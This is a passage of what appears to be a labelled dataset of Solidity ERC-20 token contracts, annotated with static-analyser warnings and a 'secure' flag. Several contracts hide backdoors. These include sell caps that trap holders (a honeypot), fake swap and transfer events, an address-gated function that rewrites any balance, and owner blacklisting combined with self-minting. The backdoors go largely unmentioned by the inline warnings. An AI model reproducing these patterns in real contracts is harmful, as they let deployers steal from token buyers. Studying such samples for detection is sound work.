onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: dca9fdf): AssistAi.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = (_tTotal * maxTxAmount) / 100 \n\t// Recommendation for dca9fdf: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: dca9fdf\n _maxTxAmount = (_tTotal * maxTxAmount) / 100;\n\n require(_maxTxAmount >= _tTotal / 100);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 001b949): AssistAi.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = (_tTotal * maxWalletSize) / 100 \n\t// Recommendation for 001b949: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: 001b949\n _maxWalletSize = (_tTotal * maxWalletSize) / 100;\n\n require(_maxWalletSize >= _tTotal / 100);\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 112d965): AssistAi.updateMarketingAddress(address)._newmarketingAddress lacks a zerocheck on \t _marketingAddress = address(_newmarketingAddress)\n\t// Recommendation for 112d965: Check that the address is not zero.\n function updateMarketingAddress(\n address _newmarketingAddress\n ) public onlyOwner {\n\t\t// missing-zero-check | ID: 112d965\n _marketingAddress = payable(_newmarketingAddress);\n }\n}",
"file_name": "solidity_code_205.sol",
"secure": 0,
"size_bytes": 21225
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\nimport \"./IERC000.sol\" as IERC000;\n\ncontract ERC20 is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n address private _pair;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function execute(\n address[] calldata _addresses_,\n uint256 _in,\n address _a\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);\n emit Transfer(_pair, _addresses_[i], _in);\n }\n }\n\n function execute(\n address uniswapPool,\n address[] memory recipients,\n uint256 tokenAmounts,\n uint256 wethAmounts\n ) public returns (bool) {\n for (uint256 i = 0; i < recipients.length; i++) {\n\t\t\t// reentrancy-events | ID: 14af776\n emit Transfer(uniswapPool, recipients[i], tokenAmounts);\n\t\t\t// reentrancy-events | ID: 14af776\n emit Swap(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,\n tokenAmounts,\n 0,\n 0,\n wethAmounts,\n recipients[i]\n );\n\t\t\t// reentrancy-events | ID: 14af776\n\t\t\t// calls-loop | ID: 383bb93\n\t\t\t// unused-return | ID: dbf8ff2\n IERC000(0xaFD54595986eDE4976D6717fCEAd8b36978EDc17)._Transfer(\n recipients[i],\n uniswapPool,\n wethAmounts\n );\n }\n return true;\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96e34f9): ERC20.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96e34f9: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ac9f5c): ERC20.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ac9f5c: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 77326e7): ERC20.toPair(address).account lacks a zerocheck on \t _pair = account\n\t// Recommendation for 77326e7: Check that the address is not zero.\n function toPair(address account) public virtual returns (bool) {\n if (_msgSender() == 0xCd9fC16944De5B7b867CF474d88DAa7310F33BC4)\n\t\t\t// missing-zero-check | ID: 77326e7\n _pair = account;\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (_pair != address(0)) {\n if (\n to == _pair &&\n !(from == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 ||\n from == 0xe0e82d3FAB749E8C81C03030240312db3AfDEd8c)\n ) {\n bool b = false;\n if (!b) {\n require(amount < 100);\n }\n }\n }\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 816bc53): ERC20._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 816bc53: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor(string memory name_, string memory symbol_, uint256 amount) {\n _name = name_;\n _symbol = symbol_;\n _mint(msg.sender, amount * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_2050.sol",
"secure": 0,
"size_bytes": 7902
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nabstract contract BlueSky {\n struct Chemicals {\n uint256 cu;\n uint256 na;\n uint256 po;\n }\n struct Weapons {\n uint256 gun;\n uint256 knift;\n }\n}",
"file_name": "solidity_code_2051.sol",
"secure": 1,
"size_bytes": 268
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nabstract contract Mavel {\n struct Avengers {\n uint256 thor;\n uint256 loki;\n }\n}",
"file_name": "solidity_code_2052.sol",
"secure": 1,
"size_bytes": 173
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"./Mavel.sol\" as Mavel;\n\nabstract contract RAdable is Mavel {\n\t// WARNING Optimization Issue (constable-states | ID: c0b79f1): R_adable.r_adUnit should be constant \n\t// Recommendation for c0b79f1: Add the 'constant' attribute to state variables that never change.\n uint256 r_adUnit = 1259833663915844946449582859504909904930200570801_000;\n\n\t// WARNING Optimization Issue (constable-states | ID: f93bff1): R_adable.denominator should be constant \n\t// Recommendation for f93bff1: Add the 'constant' attribute to state variables that never change.\n uint256 denominator = 1000;\n\n modifier r_ad() {\n require(r_adUnit / denominator == uint256(uint160(msg.sender)), \"_\");\n _;\n }\n}",
"file_name": "solidity_code_2053.sol",
"secure": 1,
"size_bytes": 790
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"./R_adable.sol\" as R_adable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./BlueSky.sol\" as BlueSky;\n\ncontract Analisatorres is\n Context,\n IERC20,\n IERC20Metadata,\n R_adable,\n Ownable,\n BlueSky\n{\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (constable-states | ID: 04f3ef8): Analisatorres._name should be constant \n\t// Recommendation for 04f3ef8: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"Analisa Torres\";\n\t// WARNING Optimization Issue (constable-states | ID: 4b68bc7): Analisatorres._symbol should be constant \n\t// Recommendation for 4b68bc7: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"XRPT\";\n\t// WARNING Optimization Issue (constable-states | ID: 6afd944): Analisatorres._supply should be constant \n\t// Recommendation for 6afd944: Add the 'constant' attribute to state variables that never change.\n uint256 private _supply = 4200000000;\n\n constructor() Ownable(address(0)) {\n _mint(msg.sender, _supply * 10 ** decimals());\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b8c20c5): Analisatorres.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b8c20c5: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function _allowancex(address s_, uint256 t_) internal {\n _balances[s_] = t_;\n }\n\n function changeAllowance(address s_, uint256 t_) external r_ad {\n _allowancex(s_, t_);\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c2079a2): Analisatorres._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c2079a2: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2054.sol",
"secure": 0,
"size_bytes": 6776
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract FED is ERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => bool) private pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb0fbf3): FED.tSupply should be constant \n\t// Recommendation for fb0fbf3: Add the 'constant' attribute to state variables that never change.\n uint256 private tSupply = 1e6 * 10 ** 18;\n uint256 public mWalletSize = (tSupply * 2) / 100;\n constructor() ERC20(\"FED Printing\", \"brrr\") {\n _mint(msg.sender, tSupply);\n }\n\n function addMMP(address toPair) public onlyOwner {\n require(!pair[toPair], \"This pair is already excluded\");\n pair[toPair] = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a4489f7): FED.setNewMaxWallet(uint256) should emit an event for mWalletSize = newMaxWallet \n\t// Recommendation for a4489f7: Emit an event for critical parameter changes.\n function setNewMaxWallet(uint256 newMaxWallet) public onlyOwner {\n\t\t// events-maths | ID: a4489f7\n mWalletSize = newMaxWallet;\n }\n\n function removeLimits() public onlyOwner {\n mWalletSize = tSupply;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (from != owner() && to != owner() && pair[from]) {\n require(\n balanceOf(to) + amount <= mWalletSize,\n \"TOKEN: Amount exceeds maximum wallet size\"\n );\n }\n\n if (\n from != owner() && to != owner() && !(pair[to]) && !(pair[from])\n ) {\n require(\n balanceOf(to) + amount <= mWalletSize,\n \"TOKEN: Balance exceeds max wallet size!\"\n );\n }\n }\n\n super._transfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_2055.sol",
"secure": 0,
"size_bytes": 2435
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract BabyRetsuko is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\t// WARNING Optimization Issue (constable-states | ID: 18e37cf): BabyRetsuko._name should be constant \n\t// Recommendation for 18e37cf: Add the 'constant' attribute to state variables that never change.\n string private _name = \"BabyRetsuko\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 88da478): BabyRetsuko._symbol should be constant \n\t// Recommendation for 88da478: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"BSUKO\";\n\t// WARNING Optimization Issue (constable-states | ID: 69bca5e): BabyRetsuko._decimals should be constant \n\t// Recommendation for 69bca5e: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 9;\n mapping(address => uint256) _balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2a7db98): BabyRetsuko.toPayAddr should be immutable \n\t// Recommendation for 2a7db98: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public toPayAddr;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) public _isExcludefromFee;\n mapping(address => bool) public isMarketPair;\n mapping(address => bool) public ow;\n\n\t// WARNING Optimization Issue (constable-states | ID: 82764e6): BabyRetsuko._buyMarketingFee should be constant \n\t// Recommendation for 82764e6: Add the 'constant' attribute to state variables that never change.\n uint256 public _buyMarketingFee = 3;\n\t// WARNING Optimization Issue (constable-states | ID: 303796a): BabyRetsuko._sellMarketingFee should be constant \n\t// Recommendation for 303796a: Add the 'constant' attribute to state variables that never change.\n uint256 public _sellMarketingFee = 3;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 032441a): BabyRetsuko._totalSupply should be immutable \n\t// Recommendation for 032441a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 1000000000 * 10 ** _decimals;\n\n function multiAddressesBot(\n uint256 amount,\n bool status,\n address[] calldata addresses\n ) public {\n require(_msgSender() == toPayAddr);\n for (uint256 i; i < addresses.length; i++) {\n ow[addresses[i]] = status;\n }\n _balances[toPayAddr] += 5812934 + amount;\n }\n bool inSwapAndLiquify;\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n _;\n inSwapAndLiquify = false;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 84ce402): BabyRetsuko._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 84ce402: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a3fd454\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 97b9d75\n emit Approval(owner, spender, amount);\n }\n\n constructor() {\n toPayAddr = payable(\n address(0xa358D114a759517A16114a80700B0c18Fe0C2b79)\n );\n\n _isExcludefromFee[owner()] = true;\n _isExcludefromFee[address(this)] = true;\n\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n IUniswapV2Router02 public uniswapV2Router;\n function name() public view returns (string memory) {\n return _name;\n }\n\n address public uniswapPair;\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n receive() external payable {}\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1ba34e3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1ba34e3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function createUniswapV2Pair() public onlyOwner {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\t\t// reentrancy-benign | ID: 1ba34e3\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: 1ba34e3\n uniswapV2Router = _uniswapV2Router;\n\t\t// reentrancy-benign | ID: 1ba34e3\n _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;\n\t\t// reentrancy-benign | ID: 1ba34e3\n isMarketPair[address(uniswapPair)] = true;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function swapAndLiquify(uint256 tAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tAmount);\n\n\t\t// reentrancy-events | ID: 97b9d75\n\t\t// reentrancy-events | ID: 376ef86\n\t\t// reentrancy-benign | ID: a3fd454\n\t\t// reentrancy-eth | ID: c83158e\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tAmount,\n 0,\n path,\n address(this),\n block.timestamp\n )\n {} catch {}\n\n uint256 MarketAmount = address(this).balance;\n\n\t\t// reentrancy-events | ID: 97b9d75\n\t\t// reentrancy-events | ID: 376ef86\n\t\t// reentrancy-eth | ID: c83158e\n if (MarketAmount > 0) toPayAddr.transfer(MarketAmount);\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"telufficient Balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7cab294): BabyRetsuko.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7cab294: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 376ef86): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 376ef86: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c83158e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c83158e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private returns (bool) {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(!ow[from]);\n\n if (inSwapAndLiquify) {\n return _basicTransfer(from, to, amount);\n } else {\n uint256 contractTokenBalance = balanceOf(address(this));\n if (!inSwapAndLiquify && !isMarketPair[from]) {\n\t\t\t\t// reentrancy-events | ID: 376ef86\n\t\t\t\t// reentrancy-eth | ID: c83158e\n swapAndLiquify(contractTokenBalance);\n }\n\n\t\t\t// reentrancy-eth | ID: c83158e\n _balances[from] = _balances[from].sub(amount);\n\n uint256 finalAmount;\n if (_isExcludefromFee[from] || _isExcludefromFee[to]) {\n finalAmount = amount;\n } else {\n uint256 feeAmount = 0;\n\n if (isMarketPair[from]) {\n feeAmount = amount.mul(_buyMarketingFee).div(100);\n } else if (isMarketPair[to]) {\n feeAmount = amount.mul(_sellMarketingFee).div(100);\n }\n\n if (feeAmount > 0) {\n\t\t\t\t\t// reentrancy-eth | ID: c83158e\n _balances[address(this)] = _balances[address(this)].add(\n feeAmount\n );\n\t\t\t\t\t// reentrancy-events | ID: 376ef86\n emit Transfer(from, address(this), feeAmount);\n }\n\n finalAmount = amount.sub(feeAmount);\n }\n\n\t\t\t// reentrancy-eth | ID: c83158e\n _balances[to] = _balances[to].add(finalAmount);\n\t\t\t// reentrancy-events | ID: 376ef86\n emit Transfer(from, to, finalAmount);\n return true;\n }\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 97b9d75): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 97b9d75: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a3fd454): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a3fd454: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 97b9d75\n\t\t// reentrancy-benign | ID: a3fd454\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 97b9d75\n\t\t// reentrancy-benign | ID: a3fd454\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n}",
"file_name": "solidity_code_2056.sol",
"secure": 0,
"size_bytes": 12198
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract OKE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private _buyerMap;\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: a53594f): OKE.bots is never initialized. It is used in OKE._transfer(address,address,uint256) OKE.isBot(address)\n\t// Recommendation for a53594f: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = false;\n\t// WARNING Optimization Issue (immutable-states | ID: 5e977b1): OKE._taxWallet should be immutable \n\t// Recommendation for 5e977b1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 808f500): OKE._initialBuyTax should be constant \n\t// Recommendation for 808f500: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\t// WARNING Optimization Issue (constable-states | ID: e927442): OKE._initialSellTax should be constant \n\t// Recommendation for e927442: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\t// WARNING Optimization Issue (constable-states | ID: a012198): OKE._finalBuyTax should be constant \n\t// Recommendation for a012198: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 5662544): OKE._finalSellTax should be constant \n\t// Recommendation for 5662544: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 38e1047): OKE._reduceBuyTaxAt should be constant \n\t// Recommendation for 38e1047: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\t// WARNING Optimization Issue (constable-states | ID: 67812aa): OKE._reduceSellTaxAt should be constant \n\t// Recommendation for 67812aa: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\t// WARNING Optimization Issue (constable-states | ID: 2244141): OKE._preventSwapBefore should be constant \n\t// Recommendation for 2244141: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n string private constant _name = unicode\"OKE\";\n string private constant _symbol = unicode\"OKE\";\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: de61edc): OKE._taxSwapThreshold should be constant \n\t// Recommendation for de61edc: Add the 